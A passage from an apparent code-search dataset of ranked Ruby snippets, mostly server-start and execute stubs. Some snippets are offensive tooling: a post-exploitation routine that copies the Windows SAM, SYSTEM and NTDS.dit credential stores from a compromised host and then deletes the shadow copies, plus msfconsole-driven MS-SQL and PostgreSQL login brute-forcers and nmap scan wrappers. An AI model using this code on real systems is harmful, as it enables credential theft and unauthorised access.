"text": "def execute\r\n $LOG.debug \"PpmToGdlApp::execute\"\r\n\r\n if(@user_choices[:customer])\r\n @controller.customer = @user_choices[:customer]\r\n end\r\n \r\n if(@user_choices[:verbose])\r\n @controller.verbose = @user_choices[:verbose]\r\n end\r\n \r\n if(@user_choices[:cmdArg].empty?) # If no cmd line arg...\r\n @controller.noCmdLineArg()\r\n return\r\n end\r\n \r\n result = @controller.setFilenames(@user_choices[:cmdArg])\r\n \r\n @controller.doSomething()\r\n end",
"title": ""
},
{
"docid": "e347c85af228fdee14d5e3956b4ebf37",
"score": "0.48467243",
"text": "def execute_nmap(targetFile, client)\n\tbegin\n\t\ttime = time()\n\t\tnmapStart = time.inspect\n\t\tdir = \"\"+File.absolute_path(targetFile).chomp(File.basename(targetFile))\n\t\ttargetFile.close\n\t\tsystem(\"if [ ! -d \\\"#{dir}nmap\\\" ]; then mkdir #{dir}nmap; fi\")\n\t\tsystem(\"nmap --open -sT -n -r -vvv -P0 -oA #{dir}nmap/#{client+\".log\"} -iL #{File.absolute_path(targetFile)}\")\n\t\tnmapScan = \"#{dir}nmap/#{client}.log.xml\"\n\t\ttime = time()\n\t\tnmapDone = time.inspect\n\t\treturn nmapStart, nmapDone, nmapScan, dir\n\trescue\n\t\tputs \"[-] We had issues running nmap\"\n\t\tputs \"[-] Exiting program\"\n\t\texit!\n\tend\nend",
"title": ""
},
{
"docid": "654431f6846e1156f5187eb84035a770",
"score": "0.48439148",
"text": "def deploy_app_server(data_sources)\n puts \"Deploying app server\\n\"\n \"http://baz\"\n end",
"title": ""
},
{
"docid": "7fe9faf4c94a69931b63924d95d64c1b",
"score": "0.4825448",
"text": "def app_server; end",
"title": ""
},
{
"docid": "979e33005f26f0ec48755a7bbb281aa7",
"score": "0.48163363",
"text": "def method_missing(method, *args, &blk)\n if Rubug::Gdb::CliMap::map_exists?(method)\n cli(method, *args, &blk)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "2a8d9703441bf8448048929d46d17990",
"score": "0.48120648",
"text": "def execute\r\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\r\n if @info_values['api_server'].include?(\"${space}\")\r\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\r\n elsif !space_slug.to_s.empty?\r\n server = @info_values['api_server']+\"/\"+space_slug\r\n else\r\n server = @info_values['api_server']\r\n end\r\n\r\n begin\r\n api_username = URI.encode(@info_values[\"api_username\"])\r\n api_password = @info_values[\"api_password\"]\r\n error_handling = @parameters[\"error_handling\"]\r\n kapp_slug = @parameters[\"kapp_slug\"].to_s.strip.empty? ? nil : @parameters[\"kapp_slug\"].to_s.strip\r\n form_slug = @parameters[\"form_slug\"].to_s.strip.empty? ? nil : @parameters[\"form_slug\"].to_s.strip\r\n error_message = nil\r\n api_route = \"#{server}/app/api/v1\"\r\n\r\n\r\n # Build the route for the appropriate attributes\r\n if space_slug.nil?\r\n error_message = \"A space slug must be provided.\"\r\n elsif !form_slug.nil? && kapp_slug.nil?\r\n error_message = \"A kapp slug must be provided if a form slug is provided.\"\r\n elsif !form_slug.nil? && !kapp_slug.nil?\r\n api_route = \"#{api_route}/kapps/#{kapp_slug}/forms/#{form_slug}?include=attributes,kapp.attributes,kapp.space.attributes\"\r\n elsif !kapp_slug.nil?\r\n api_route = \"#{api_route}/kapps/#{kapp_slug}?include=attributes,space.attributes\"\r\n else\r\n api_route = \"#{api_route}/space?include=attributes\"\r\n end\r\n\r\n\r\n if error_message.nil?\r\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\r\n response = resource.get\r\n\r\n # Build the results to be returned by this handler\r\n if response.nil?\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">NULL RESPONSE</result>\r\n <result name=\"Space Attributes\"/>\r\n <result name=\"Kapp Attributes\"/>\r\n <result name=\"Form Attributes\"/>\r\n </results>\r\n RESULTS\r\n else\r\n # Parse the Results returned from the API\r\n results = JSON.parse(response)\r\n\r\n space_attributes = []\r\n kapp_attributes = []\r\n form_attributes = []\r\n\r\n if results.has_key?('form')\r\n space_attributes = results['form']['kapp']['space']['attributes']\r\n kapp_attributes = results['form']['kapp']['attributes']\r\n form_attributes = results['form']['attributes']\r\n elsif results.has_key?('kapp')\r\n space_attributes = results['kapp']['space']['attributes']\r\n kapp_attributes = results['kapp']['attributes']\r\n else\r\n space_attributes = results['space']['attributes']\r\n end\r\n\r\n results = <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\"/>\r\n <result name=\"Space Attributes\">#{map_attributes(space_attributes).to_json}</result>\r\n <result name=\"Kapp Attributes\">#{map_attributes(kapp_attributes).to_json}</result>\r\n <result name=\"Form Attributes\">#{map_attributes(form_attributes).to_json}</result>\r\n </results>\r\n RESULTS\r\n puts results\r\n results\r\n end\r\n else\r\n # Return Error Results\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">#{escape(error_message)}</result>\r\n <result name=\"Space Attributes\"/>\r\n <result name=\"Kapp Attributes\"/>\r\n <result name=\"Form Attributes\"/>\r\n </results>\r\n RESULTS\r\n end\r\n\r\n rescue RestClient::Exception => error\r\n error_message = JSON.parse(error.response)[\"error\"]\r\n if error_handling == \"Raise Error\"\r\n raise error_message\r\n else\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\r\n <result name=\"Space Attributes\"/>\r\n <result name=\"Kapp Attributes\"/>\r\n <result name=\"Form Attributes\"/>\r\n </results>\r\n RESULTS\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "033d236da8f05d1280a9295e8c84e5b2",
"score": "0.48008648",
"text": "def do_start()\n # Check syntax\n MIDB::Interface::Errors.die(:syntax) if @args.length < 2\n MMIDB::Interface::Errors.die(:syntax) if @args[1].split(\":\")[0] != \"db\"\n # Is the server already started?\n MIDB::Interface::Errors.die(:server_already_started) if @config[\"status\"] == :running\n # Are any files being served?\n MIDB::Interface::Errors.die(:no_serves) if @config[\"serves\"].length == 0\n # If it successfully starts, change our status and notify thru view\n @args.each do |arg|\n if arg.split(\":\")[0] == \"db\"\n @db = arg.split(\":\")[1]\n elsif arg.split(\":\")[0] == \"port\"\n @port = arg.split(\":\")[1]\n end\n end\n\n # Call the server engine and supply the (non)existing hooks\n eng = MIDB::API::Engine.new(@db, @http_status, @config, @hooks)\n if eng.start(@port)\n @config[\"status\"] = :running\n MIDB::Interface::Server.success()\n else\n MIDB::Interface::Errors.die(:server_error)\n end\n end",
"title": ""
},
{
"docid": "0d0c599d1b7ee55691830655963cdf99",
"score": "0.47989532",
"text": "def run_server\n run_db_migrate\n require RAILS_ROOT + '/config/boot'\n require 'commands/server' \n end",
"title": ""
},
{
"docid": "5d863063bd8fe657221b512fabd9c7b9",
"score": "0.4797926",
"text": "def run_server(server_config)\n #Smeagol::App.set(:git, server_config.git)\n Smeagol::App.set(:repositories, server_config.repositories)\n Smeagol::App.set(:cache_enabled, server_config.cache_enabled)\n Smeagol::App.set(:mount_path, server_config.mount_path)\n Smeagol::App.run!(:port => server_config.port)\n end",
"title": ""
},
{
"docid": "dd6b611aaf7df578e0c34f31c6fa1141",
"score": "0.47963002",
"text": "def install_app_server_integration; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "b8f95ffea11457072412391088507464",
"score": "0.47962195",
"text": "def execute; end",
"title": ""
},
{
"docid": "345d5ebcf69594dc06bd440c56600ca8",
"score": "0.47916263",
"text": "def get_server_name\n clue_start = Rex::Text.rand_text_alpha(8 + rand(4))\n clue_end = Rex::Text.rand_text_alpha(8 + rand(4))\n sql = \"(select '#{clue_start}'+@@servername+'#{clue_end}')\"\n\n result = mssql_query(sql)\n\n if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/\n instance_name = $1\n sql_server_name = instance_name.split('\\\\')[0]\n else\n sql_server_name = nil\n end\n\n sql_server_name\n end",
"title": ""
},
{
"docid": "f14db66a546f7bd1b89ef1ed7fd10bec",
"score": "0.47886673",
"text": "def server; end",
"title": ""
},
{
"docid": "f14db66a546f7bd1b89ef1ed7fd10bec",
"score": "0.47886673",
"text": "def server; end",
"title": ""
},
{
"docid": "f14db66a546f7bd1b89ef1ed7fd10bec",
"score": "0.47886673",
"text": "def server; end",
"title": ""
},
{
"docid": "f14db66a546f7bd1b89ef1ed7fd10bec",
"score": "0.47886673",
"text": "def server; end",
"title": ""
},
{
"docid": "f14db66a546f7bd1b89ef1ed7fd10bec",
"score": "0.47886673",
"text": "def server; end",
"title": ""
},
{
"docid": "738884f342a68fde1b99019faccae1e6",
"score": "0.47826606",
"text": "def start\n requires :Name\n service.power_on_server self.Name\n end",
"title": ""
},
{
"docid": "e6c4faf32862544211c8514977091d46",
"score": "0.4775314",
"text": "def execute\n @incoming_server.execute\n end",
"title": ""
},
{
"docid": "e7f78e0eb7775c6d1231b4db83e79bd7",
"score": "0.47667217",
"text": "def execute!\n if(opts[:port])\n App.port = opts[:port]\n end\n if(opts[:bind])\n App.bind = opts[:bind]\n end\n App.server = options.fetch(:server, 'webrick')\n App.run!\n end",
"title": ""
},
{
"docid": "18341dbfe61b0142e27efd46acc7314a",
"score": "0.47616693",
"text": "def execute\n\n end",
"title": ""
},
{
"docid": "7e0575d0886978e3a1da38415eb6b1c8",
"score": "0.4761095",
"text": "def mssql_login_scan\n\t\tprint_status(\"MS-SQL Login Scanner\")\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use auxiliary/scanner/mssql/mssql_login\"\n\t\tf.puts \"set RHOSTS #{zIP}\"\n\t\tdone=0\n\t\twhile(true)\n\t\t\tprint_caution(\"Select how to Scan for Logins: \")\n\t\t\tprint_caution(\"1) Single User/Pass Combo across IP\")\n\t\t\tprint_caution(\"2) User & Password Files for Bruteforce Scanning IP\")\n\t\t\tanswer=gets.chomp\n\t\t\tif answer.to_i == 1\n\t\t\t\tprint_caution(\"Please provide Username: \")\n\t\t\t\tpgUser=gets.chomp\n\n\t\t\t\tprint_caution(\"Please provide Password: \")\n\t\t\t\tpgPass=gets.chomp\n\t\t\t\tf.puts \"set USERNAME #{pgUser}\"\n\t\t\t\tf.puts \"set PASSWORD #{pgPass}\"\n\t\t\t\tdone=1\n\t\t\t\tbreak\n\t\t\telsif answer.to_i == 2\n\t\t\t\twhile(true)\n\t\t\t\t\tprint_caution(\"Location of Password File to use: \")\n\t\t\t\t\tpassfile=gets.chomp\n\t\t\t\t\tif File.exists?(passfile)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\t\t\tprint_error(\"Please check path or permissions and try again....\")\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\twhile(true)\n\t\t\t\t\tprint_caution(\"Location of Username File to use: \")\n\t\t\t\t\tuserfile=gets.chomp\n\t\t\t\t\tif File.exists?(userfile)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\t\t\tprint_error(\"Please check path or permissions and try again....\")\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tf.puts \"set USER_FILE #{userfile}\"\n\t\t\t\tf.puts \"set PASS_FILE #{passfile}\"\n\t\t\t\tdone=1\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Please choose a valid option!\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\t\tif done.to_i > 0\n\t\t\t\tprint_caution(\"Do you want to try blank passwords (Y/N)?\")\n\t\t\t\tanswer=gets.chomp\n\t\t\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\t\t\tf.puts \"set BLANK_PASSWORDS false\"\n\t\t\t\tend\n\n\t\t\t\tprint_caution(\"Do you want to try username as passwords (Y/N)?\")\n\t\t\t\tanswer=gets.chomp\n\t\t\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\t\t\tf.puts \"set USER_AS_PASS false\"\n\t\t\t\tend\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tprint_status(\"Launching MS-SQL Login Scanner against #{zIP} in a new x-window.....\")\n\t\tf.puts \"set THREADS 5\"\n\t\tf.puts 'run'\n\t\tf.close\n\t\tmssql=\"xterm -title 'MS-SQL Login Scanner' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(mssql)\n\t\tprint_line(\"\")\n\tend",
"title": ""
},
{
"docid": "4a1ef6b245f7ff135ac58fc538855b9e",
"score": "0.4758156",
"text": "def service_main(*args)\n @knots_server.start\n end",
"title": ""
},
{
"docid": "e5753ca657613d874c13020fafe36cbe",
"score": "0.47515452",
"text": "def pgsql_login_scan\n\t\tprint_status(\"PostgreSQL Login Scanner\")\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use auxiliary/scanner/postgres/postgres_login\"\n\t\tf.puts \"set RHOSTS #{zIP}\"\n\t\tdone=0\n\t\twhile(true)\n\t\t\tprint_caution(\"Select how to Scan for Logins: \")\n\t\t\tprint_caution(\"1) Single User/Pass Combo across IP\")\n\t\t\tprint_caution(\"2) User & Password Files for Bruteforce Scanning IP\")\n\t\t\tanswer=gets.chomp\n\t\t\tif answer.to_i == 1\n\t\t\t\tprint_caution(\"Please provide Username: \")\n\t\t\t\tpgUser=gets.chomp\n\n\t\t\t\tprint_caution(\"Please provide Password: \")\n\t\t\t\tpgPass=gets.chomp\n\t\t\t\tf.puts \"set USERNAME #{pgUser}\"\n\t\t\t\tf.puts \"set PASSWORD #{pgPass}\"\n\t\t\t\tdone=1\n\t\t\t\tbreak\n\t\t\telsif answer.to_i == 2\n\t\t\t\twhile(true)\n\t\t\t\t\tprint_caution(\"Location of Password File to use: \")\n\t\t\t\t\tpassfile=gets.chomp\n\t\t\t\t\tputs\n\t\t\t\t\tif File.exists?(passfile)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\t\t\tprint_error(\"Please check path or permissions and try again....\")\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\twhile(true)\n\t\t\t\t\tprint_caution(\"Location of Username File to use: \")\n\t\t\t\t\tuserfile=gets.chomp\n\t\t\t\t\tif File.exists?(userfile)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\t\t\tprint_error(\"Please check path or permissions and try again....\")\n\t\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tf.puts \"set USER_FILE #{userfile}\"\n\t\t\t\tf.puts \"set PASS_FILE #{passfile}\"\n\t\t\t\tdone=1\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Please choose a valid option!\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\t\tif done.to_i > 0\n\t\t\t\tprint_caution(\"Do you want to try blank passwords (Y/N)?\")\n\t\t\t\tanswer=gets.chomp\n\t\t\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\t\t\tf.puts \"set BLANK_PASSWORDS false\"\n\t\t\t\tend\n\n\t\t\t\tprint_caution(\"Do you want to try username as passwords (Y/N)?\")\n\t\t\t\tanswer=gets.chomp\n\t\t\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\t\t\tf.puts \"set USER_AS_PASS false\"\n\t\t\t\tend\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tprint_status(\"Launching MSF PostgreSQL Login Check Scanner against #{zIP} in a new x-window.....\")\n\t\tf.puts \"set THREADS 5\"\n\t\tf.puts 'run'\n\t\tf.close\n\t\tpgsql=\"xterm -title 'PostgreSQL Login Scanner' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(pgsql)\n\t\tprint_line(\"\")\n\tend",
"title": ""
},
{
"docid": "3647df5e82a8d860e9234ae6bc955ee0",
"score": "0.47498965",
"text": "def run\n welcome\n confirm_server\n shutdown_old_instance\n update_dns\n promote_new_master\n restart_slaves\n restart_services\n complete\n end",
"title": ""
},
{
"docid": "cea4a3ca0ca383de9008ae0487f7ef19",
"score": "0.47406176",
"text": "def execute\n # code for the script goes here\n end",
"title": ""
},
{
"docid": "b2a10b2c3baf42f4cc15cfce28feca1e",
"score": "0.47376582",
"text": "def configure_server; end",
"title": ""
},
{
"docid": "73608b811f71d194d69b6078ad527185",
"score": "0.47367603",
"text": "def run(args = [])\n debugger.dynamic_facterdb_filter.ai\n end",
"title": ""
},
{
"docid": "86397065a213277cdd882c95fe5f25b8",
"score": "0.47363913",
"text": "def validate_name_args!\n if server_name.nil?\n ui.error(\"Must pass an FQDN or ip to bootstrap\")\n exit 1\n end\n end",
"title": ""
},
{
"docid": "34a2cc7baa0e35af08aa531dfa572bce",
"score": "0.4735346",
"text": "def run\n super\n ## parse it here - update the host\n require 'nmap/parser'\n system(\"nmap -PN -sT -p1-65535 -oX /tmp/#{@object.ip_address}_nmap #{@object.ip_address}\")\n parser = Nmap::Parser.parsefile(\"/tmp/#{@object.ip_address}_nmap\")\n\t\n\t## Create the services\n\t\n\t## Update the host here\n\n\nnil\nend",
"title": ""
},
{
"docid": "261387848e86295fe946b657de4d9c92",
"score": "0.47340044",
"text": "def execute\n \n end",
"title": ""
},
{
"docid": "e78a491e9afc93676773be81c69bfecf",
"score": "0.4732251",
"text": "def run(host_arg_or_hash, &block)\n wrapper = SSHKitDSL.new(fetch_backend(host_arg_or_hash))\n wrapper.instance_exec(options, &block) if block\n end",
"title": ""
},
{
"docid": "47a39b4d8923094f402cd6b5b919d665",
"score": "0.4731028",
"text": "def run\n\t\t# syinfo is only on meterpreter sessions\n\t\tprint_status(\"Running module against #{sysinfo['Computer']}\") if not sysinfo.nil?\n\t\tif is_admin?\n\t\t\tsysdrv = client.fs.file.expand_path(\"%SystemDrive%\")\n\t\t\tloot_path = Msf::Config.loot_directory\n\t\t\tvs_path = create_shadow(sysdrv)\n\n\t\t\tif vs_path\n\t\t\t\t# System Hive\n\t\t\t\tprint_status(\"Downloading SYSTEM hive\")\n\t\t\t\tsys_file = ::File.join(loot_path,\"system_#{::Time.now.strftime(\"%Y%m%d.%M%S\")}\")\n\t\t\t\tsession.fs.file.download_file(sys_file, \"#{vs_path}\\\\WINDOWS\\\\system32\\\\config\\\\system\")\n\t\t\t\tprint_good(\"System file downloaded as #{sys_file}\")\n\t\t\t\tstore_loot(\"windows.system\",\n\t\t\t\t\t\"registry/hive\",\n\t\t\t\t\tsession, ::File.read(sys_file, ::File.size(sys_file)),\n\t\t\t\t\t\"system\",\n\t\t\t\t\t\"Windows SYSTEM Hive\")\n\n\t\t\t\t# Sam hive\n\t\t\t\tprint_status(\"Downloading SAM hive\")\n\t\t\t\tsam_file = ::File.join(loot_path,\"sam_#{::Time.now.strftime(\"%Y%m%d.%M%S\")}\")\n\t\t\t\tsession.fs.file.download_file(sam_file, \"#{vs_path}\\\\WINDOWS\\\\system32\\\\config\\\\SAM\")\n\t\t\t\tprint_good(\"SAM file downloaded as #{sam_file}\")\n\t\t\t\tstore_loot(\"windows.sam\",\n\t\t\t\t\t\"registry/hive\",\n\t\t\t\t\tsession,\n\t\t\t\t\t::File.read(sam_file, ::File.size(sam_file)),\n\t\t\t\t\t\"sam\",\n\t\t\t\t\t\"Windows SAM Hive\")\n\n\t\t\t\t# NTDS database\n\t\t\t\tif is_dc?\n\t\t\t\t\tprint_status(\"This is a Domain Controller\")\n\t\t\t\t\tprint_status(\"Downloading NTDS file\")\n\t\t\t\t\tntds_file = ::File.join(loot_path,\"ntds_#{::Time.now.strftime(\"%Y%m%d.%M%S\")}\")\n\t\t\t\t\tsession.fs.file.download_file(ntds_file, \"#{vs_path}\\\\WINDOWS\\\\NTDS\\\\ntds.dit\")\n\t\t\t\t\tprint_good(\"NTDS file downloaded as #{ntds_file}\")\n\t\t\t\t\tstore_loot(\"windows.ntds\",\n\t\t\t\t\t\t\"registry/hive\",\n\t\t\t\t\t\tsession,\n\t\t\t\t\t\t::File.read(ntds_file, ::File.size(ntds_file)),\n\t\t\t\t\t\t\"ntds.dit\",\n\t\t\t\t\t\t\"Windows DC NTDS DB\")\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint_error(\"A Volume Shadow Copy could not be created.\")\n\t\t\t\tprint_error(\"Check that the service is enabled.\")\n\t\t\tend\n\n\t\t\t# Cleanup\n\t\t\tprint_status(\"Removing Shadow Copies\")\n\t\t\tcmd_results = session.shell_command_token(\"vssadmin delete shadows\",15)\n\t\t\tprint_status(\"Saving in to loot\")\n\t\telse\n\t\t\tprint_error(\"You need to be Administrator to be able to create a volume shadow copy.\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "96bf126e2eac9c9c5a545d433fe8a481",
"score": "0.47289887",
"text": "def run_default_server(app, port); end",
"title": ""
},
{
"docid": "523fe5fdb07e4022b51153c2dd079178",
"score": "0.47286496",
"text": "def run_script!(friendly_name, hash = {})\n hash['servers'] = @servers unless hash['servers']\n hash['wait'] = true unless hash['wait']\n run_script_on_set(friendly_name, hash['servers'], hash['wait'], hash['options'])\n end",
"title": ""
},
{
"docid": "bc4158a6e31a77950bc011395b50a33d",
"score": "0.4726416",
"text": "def db_control(_server, _arg, _why=nil)\n if (self.is_ubuntu)\n init_script = 'mysql'\n else\n init_script = 'mysqld'\n end\n self.service_control(_server, init_script, _arg, _why)\n end",
"title": ""
},
{
"docid": "bdff06e81c91775823d9b01af7a8c54e",
"score": "0.472466",
"text": "def execute\n end",
"title": ""
},
{
"docid": "bdff06e81c91775823d9b01af7a8c54e",
"score": "0.472466",
"text": "def execute\n end",
"title": ""
},
{
"docid": "b29228c9465e21562050f9eb57266064",
"score": "0.47241375",
"text": "def execute\n end",
"title": ""
},
{
"docid": "b29228c9465e21562050f9eb57266064",
"score": "0.47241375",
"text": "def execute\n end",
"title": ""
},
{
"docid": "b29228c9465e21562050f9eb57266064",
"score": "0.47241375",
"text": "def execute\n end",
"title": ""
},
{
"docid": "a687dc2d6c6244db2324c3c0cebec0a3",
"score": "0.47228196",
"text": "def run\n\n\t\t# Initialize the list of authenticated sessions\n\t\t@tokens = {}\n\n\t\targs = [framework,@tokens,@users]\n\n\t\t# Add handlers for every class\n\t\tself.server.add_handler(::XMLRPC::iPIMethods(\"auth\"),\n\t\t\t::Msf::RPC::Auth.new(*args)\n\t\t)\n\n\t\tself.server.add_handler(::XMLRPC::iPIMethods(\"core\"),\n\t\t\t::Msf::RPC::Core.new(*args)\n\t\t)\n\n\t\tself.server.add_handler(::XMLRPC::iPIMethods(\"session\"),\n\t\t\t::Msf::RPC::Session.new(*args)\n\t\t)\n\n\t\tself.server.add_handler(::XMLRPC::iPIMethods(\"job\"),\n\t\t\t::Msf::RPC::Job.new(*args)\n\t\t)\n\n\t\tself.server.add_handler(::XMLRPC::iPIMethods(\"module\"),\n\t\t\t::Msf::RPC::Module.new(*args)\n\t\t)\n\n\t\t# Set the default/catch-all handler\n\t\tself.server.set_default_handler do |name, *args|\n\t\t\traise ::XMLRPC::FaultException.new(-99, \"Method #{name} missing or wrong number of parameters!\")\n\t\tend\n\n\t\t# Start the actual service\n\t\tself.server.start\n\n\t\t# Wait for the service to complete\n\t\tself.server.wait\n\tend",
"title": ""
},
{
"docid": "9351961ec26296db3cc57b6c2564d954",
"score": "0.4722199",
"text": "def create\n @server.connect do\n\n display_ \"Create app user and home directory\" do\n exit_status, stdout = @server.exec \"grep \\\"^#{@name}:\\\" /etc/passwd\"\n if exit_status == 0\n 'already created'\n else\n @server.script! template(\"create_user_and_home.sh\", binding), sudo: true, error_msg: \"Cannot create the user and home directory\"\n @server.exec! \"mkdir -p #{@home}/cache #{@home}/config #{@home}/packages #{@home}/domains\", as: @name, error_msg: \"Cannot create directory in the application folder\"\n @server.exec! \"touch #{@home}/config/env\", as: @name, error_msg: \"Cannot create the env file (~/config/env)\"\n @server.exec! \"chown #{@name}:deploy #{@home}/cache && chmod 775 #{@home}/cache\", as: @name, error_msg: \"Cannot change owner or permissions on '~/cache' folder\"\n @server.exec! \"chown #{@name}:deploy #{@home}/packages && chmod 775 #{@home}/packages\", as: @name, error_msg: \"Cannot change owner or permissions on '~/packages' folder\"\n @server.exec! \"chown #{@name}:deploy #{@home}/config && chmod 775 #{@home}/config\", as: @name, error_msg: \"Cannot change owner or permissions on '~/config' folder\"\n @server.exec! \"chown #{@name}:deploy #{@home}/domains && chmod 775 #{@home}/domains\", as: @name, error_msg: \"Cannot change owner or permissions on '~/domains' folder\"\n 'done'\n end\n end \n\n display_ \"Patch app profile to load running environment on new shell\" do\n exit_status, stdout = @server.exec \"cat #{@home}/.profile | grep 'If a package is running, load the app environment'\"\n if exit_status == 0\n 'already patched'\n else\n @server.script! template(\"patch_profile.sh\", binding), sudo: true, error_msg: \"Cannot patch the app profile file\"\n 'done'\n end\n end\n\n domain_name = \"#{@name}.#{@server.host}\"\n display_ \"Generate a domain name for the app\" do\n @server.exec! \"echo #{domain_name} > ~/.domain\", as: @name, error_msg: \"Cannot write the domain name configuration file\"\n \"#{domain_name}\"\n end\n\n display_ \"Create an HTTP route for #{domain_name} -> #{@name}\" do\n exit_status, stdout = @server.exec \"ls #{VHOST_DIR}/#{@name}\"\n if exit_status == 0\n 'already declared'\n else\n @server.script! template(\"create_route.sh\", binding), as: ROUTER_USER, error_msg: \"Cannot write the route config file\"\n 'done'\n end\n @http = \"http://#{domain_name}\"\n 'done'\n end\n\n display_ \"Create a git repository for the app\" do\n @git = \"#{DEPLOY_USER}@#{@server.host}:#{@name}.git\"\n exit_status, stdout = @server.exec \"grep \\\"^repo #{@name}\\\" #{GITOLITE_ADMIN_DIR}/conf/gitolite.conf\"\n if exit_status == 0\n 'already exist'\n else\n @server.script! template(\"create_repo.sh\", binding), as: GITOLITE_USER, error_msg: \"Cannot create a repository for this app ('#{@name}')\"\n 'done'\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f03eecb5b0c06198ef2c06e5f874b27d",
"score": "0.47194114",
"text": "def server\n end",
"title": ""
},
{
"docid": "175577c44b28c16683d2e371c754aa5e",
"score": "0.47109568",
"text": "def start_server(*args)\n AsyncConfig.logger.info(\"Event Machine App started\")\n\n @server = RouteManager.create_routes(*args)\n # max time we will allow for idle to client\n @server.timeout = cfg[:client_timeout]\n @server.maximum_connections = max_connections if max_connections\n @server.log_file = cfg[:thin_log_file]\n # apply the config and then change effective user if requested\n # this is so you can start off as sudo to allow things like large number of connections\n # and then run safely as a specific user and group\n @server.config\n change_privilege(@user, @group) if @user\n\n # now running as the intended user, so safe to start using zza\n zza = ZZ::ZZA.new\n zza.track_event('event_machine.start')\n\n @server.start!\n end",
"title": ""
},
{
"docid": "5960ec7c62a3223894b2d29ed5ce56fe",
"score": "0.47088626",
"text": "def execute\n\n end",
"title": ""
},
{
"docid": "b3ccef4ba460d45023263aa333ce8f3e",
"score": "0.47054824",
"text": "def set_map(m, map)\n return if m.channel?\n return unless already_have_a_request? m.user.authname\n\n server_id = already_have_a_request? m.user.authname\n\n unless @settings['maps_availables'].has_key? map\n m.reply 'This map does not exist or isn\\'t available for now.'\n return\n end\n\n @servers[server_id]['map'] = @settings['maps_availables'][map]\n save_servers_state\n \n m.reply \"Okay! Starting map will be: #{@settings['maps_availables'][map]}\"\n end",
"title": ""
}
] |
1b0b31dc9c903dbaa95c401711c268e0
|
Return information about the room or room instance if it is active.
|
[
{
"docid": "3d47c205ebb2fb11f52574a97dc4dcaa",
"score": "0.66066015",
